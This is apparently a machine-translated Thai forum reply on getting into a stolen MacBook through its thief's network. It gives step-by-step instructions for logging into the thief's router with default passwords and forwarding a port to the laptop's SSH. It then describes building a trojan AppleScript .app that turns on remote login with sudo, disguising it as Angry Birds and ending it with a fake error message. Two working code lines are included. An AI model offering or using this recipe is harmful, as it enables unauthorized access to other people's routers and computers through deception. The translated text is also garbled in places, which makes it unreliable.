ฉันจำได้ว่าดูวิดีโอของดร. โซอซ สิ่งที่ดี.
ดูเหมือนว่าคุณมีความสามารถในการเขียนสคริปต์เชลล์และต้องการเพียงเวกเตอร์โจมตี กุญแจสำคัญในการทำสิ่งที่คล้ายกับที่ Zoz ทำคือการเข้าถึง SSH ซึ่งแตกต่างจากสถานการณ์ของเขาที่โจรใช้โมเด็ม dialup มันเกือบจะแน่นอนเนื่องจาก Mac รุ่นใหม่ไม่ทำการเรียกเลขหมายว่าขโมยใช้การเชื่อมต่อบรอดแบนด์และอยู่หลังเราเตอร์ NAT บางประเภท
แม้ว่าจะเปิดใช้งาน SSH บนเครื่องการส่งต่อพอร์ตจะต้องตั้งค่าบนเราเตอร์เพื่อให้คุณเข้าถึงพอร์ตการฟัง SSH ของเครื่องจากด้านนอก ข้อดีของการเชื่อมต่อบรอดแบนด์คือที่อยู่ IP จะเปลี่ยนบ่อยกว่าการหมุนโทรศัพท์
ถ้าฉันอยู่ในตำแหน่งของคุณถือ IP ของขโมยฉันจะพยายามลงชื่อเข้าใช้เว็บอินเตอร์เฟสของเราเตอร์ของพวกเขาก่อนและดูว่าฉันสามารถทำอะไรได้จากที่นั่น เป็นเรื่องที่น่าอัศจรรย์ว่ามีคนจำนวนเท่าใดที่ปล่อยรหัสผ่านเราเตอร์ / โมเด็มเริ่มต้นไว้และมีรายการออนไลน์ที่คุณสามารถค้นหารหัสผ่านเริ่มต้นสำหรับผู้ผลิตรายใหญ่ส่วนใหญ่
ตรวจสอบรายชื่อไคลเอ็นต์ DHCP บนเราเตอร์และดูว่าคุณสามารถหา MacBook ได้หรือไม่ เราเตอร์จำนวนมากจะแสดงที่อยู่ MAC (ฮาร์ดแวร์) ที่อยู่ IP ที่กำหนดภายใน (บ่อยครั้งที่ 192.168.1.x) และที่สำคัญที่สุดคือชื่อเครื่อง
กำหนด IP ที่กำหนดให้กับ MacBook จากนั้นตั้งค่าพอร์ตไปข้างหน้าในการตั้งค่าของเราเตอร์ ใช้พอร์ตภายนอกบางอย่างนอกเหนือจาก 22 (ตัวอย่างเช่นพอร์ต 2222) และส่งต่อไปยังพอร์ต 22 ของ IP ของ MacBook
เราเตอร์จำนวนมากที่เปิดใช้งานการเข้าถึง SSH ดังนั้นการเข้าถึง IP @ พอร์ต 22 ของโจรอาจนำคุณไปที่เราเตอร์เชลล์มากกว่าเครื่องเชลล์ ตอนนี้คุณควรมีพอร์ตบน IP ภายนอกของขโมย (ที่คุณได้รับจาก Dropbox) ซึ่งจะพาคุณไปยังพอร์ต SSH โดยตรงจะต้องเชื่อมโยงกับ MacBook ยกเว้น SSH ยังไม่เปิดใช้งาน
ส่วนนี้ต้องมีการกระทำบางอย่างจากขโมย ฉันชอบแนวคิดอีเมล แต่ต้องการให้เพื่อนของคุณใช้ Apple Mail วิธีที่ดีกว่าอาจอัปโหลดไฟล์. app ที่ดึงดูดไปยัง Dropbox ที่จะเปิด SSH (การเข้าสู่ระบบระยะไกล)
คุณสามารถทำสิ่งนี้ผ่านเชลล์สคริปต์ แต่ทำได้ผ่าน Applescript การบันทึก Applescript ให้เป็น. app และการให้ไอคอนที่ดีจะทำให้การหลอกลวงของคุณหายไป
นี่คือรหัส Applescript เพื่อเปิดใช้การเข้าสู่ระบบระยะไกล:
do shell script "sudo systemsetup setremotelogin on" user name "Friend's Username" password "Friend's Password" with administrator privileges
รหัสบิตนี้จะส่งคืนสตริงด้วยหมายเลขประจำเครื่องที่คุณสามารถส่งอีเมลถึงตัวเองได้หากคุณต้องการ:
do shell script "sudo system_profiler |grep \"r (system)\"" user name "Friend's Username" password "Friend's Password" with administrator privileges
ฉันจะเขียน applescript เพื่อที่จะเปิดใช้งานการเข้าสู่ระบบระยะไกลทำสิ่งอื่นที่คุณต้องการ พยายามอย่าเขียนสคริปต์ GUI หรือแอปพลิเคชันใด ๆ นอกเหนือจากเชลล์เนื่องจากจะทำให้เกิดความสงสัย ในตอนท้ายแสดงข้อความถึงผลกระทบของ "แอปพลิเคชันนี้ไม่สามารถทำงานบน Macintosh นี้" ด้วยปุ่ม "ออก" เพื่อลดความสงสัย เมื่อสคริปต์ทำงานใน AppleScript Editor ให้บันทึกเป็นไฟล์. app แบบ run-only
ลองปลอมแปลงแอป. เป็นเกมยอดนิยม, Plants vs. Zombies หรือ Angry Birds หรือบางอย่าง คุณสามารถส่งออกไอคอนจาก. app ของเกมจริงและใส่ลงใน. app ที่คุณส่งออกจาก Applescript หากเพื่อนของคุณดูโจรคนนั้นได้ดีคุณสามารถบันทึกเขา / เธอทางสังคมและอำพราง. app เป็นอย่างอื่นที่พวกเขาอาจสนใจ
โดยมีเงื่อนไขว่าคุณสามารถตั้งค่าพอร์ตไปข้างหน้า (เครื่องหมายของคุณไม่ได้บังคับใช้วิธีปฏิบัติด้านความปลอดภัยที่เหมาะสม) และคุณสามารถให้เขา / เธอทำงานแอพพลิเคชั่นได้คุณจะสามารถเข้าถึง SSH แบบเต็มไปยังเครื่องได้ ให้การแสดงตนของคุณทันที สิ่งนี้ต้องการให้เครื่องหมายไม่ทำให้เบื่อกับการแจ้งเตือน Growl ของ Dropbox และออกจากมันดังนั้นฉันขอแนะนำให้เพื่อนของคุณหยุดบันทึกไฟล์ลงใน Dropbox ของเธอสักพัก
หมายเหตุ: หากขโมยตัดการเชื่อมต่อจาก ISP ของพวกเขาและเชื่อมต่ออีกครั้งพวกเขาจะได้รับ IP ภายนอกใหม่ เพิ่มไฟล์ใน Dropbox และรอให้ซิงค์ นี่ควรจะได้รับ IP ที่อัปเดตแล้ว
หมายเหตุ 2: หากผู้ใช้ไม่ได้เชื่อมต่อกับเราเตอร์กับ MacBook เป็นระยะเวลาหนึ่ง (โดยปกติคือ 24 ชั่วโมง) DHCP ที่เช่าสำหรับที่อยู่ IP ภายในที่กำหนดให้กับ MacBook จะหมดอายุ ส่วนใหญ่แล้วมันจะได้รับที่อยู่ IP เดียวกันในครั้งถัดไปที่เชื่อมต่อเว้นแต่จะมีการแนะนำอุปกรณ์อื่นในเครือข่าย ในเหตุการณ์นี้คุณจะต้องลงชื่อกลับเข้าใช้เราเตอร์ด้วยตนเองและแก้ไขพอร์ตไปข้างหน้า
นี่ไม่ใช่วิธีการโจมตีเพียงอย่างเดียว แต่นี่คือสิ่งที่ฉันทำครั้งที่สองที่ฉันรู้ว่า IP ยังคงได้รับการอัปเดตผ่าน Dropbox โชคดี!
แก้ไข: "สิทธิ์ผู้ดูแลระบบ" ในตอนท้ายของแต่ละบรรทัด "do shell script" มีความสำคัญมาก ผู้ใช้จะได้รับแจ้งให้ป้อนรหัสผ่านผู้ดูแลระบบของเพื่อนของคุณและสคริปต์จะล้มเหลวหากคุณไม่รวมชื่อผู้ใช้และรหัสผ่านแบบอินไลน์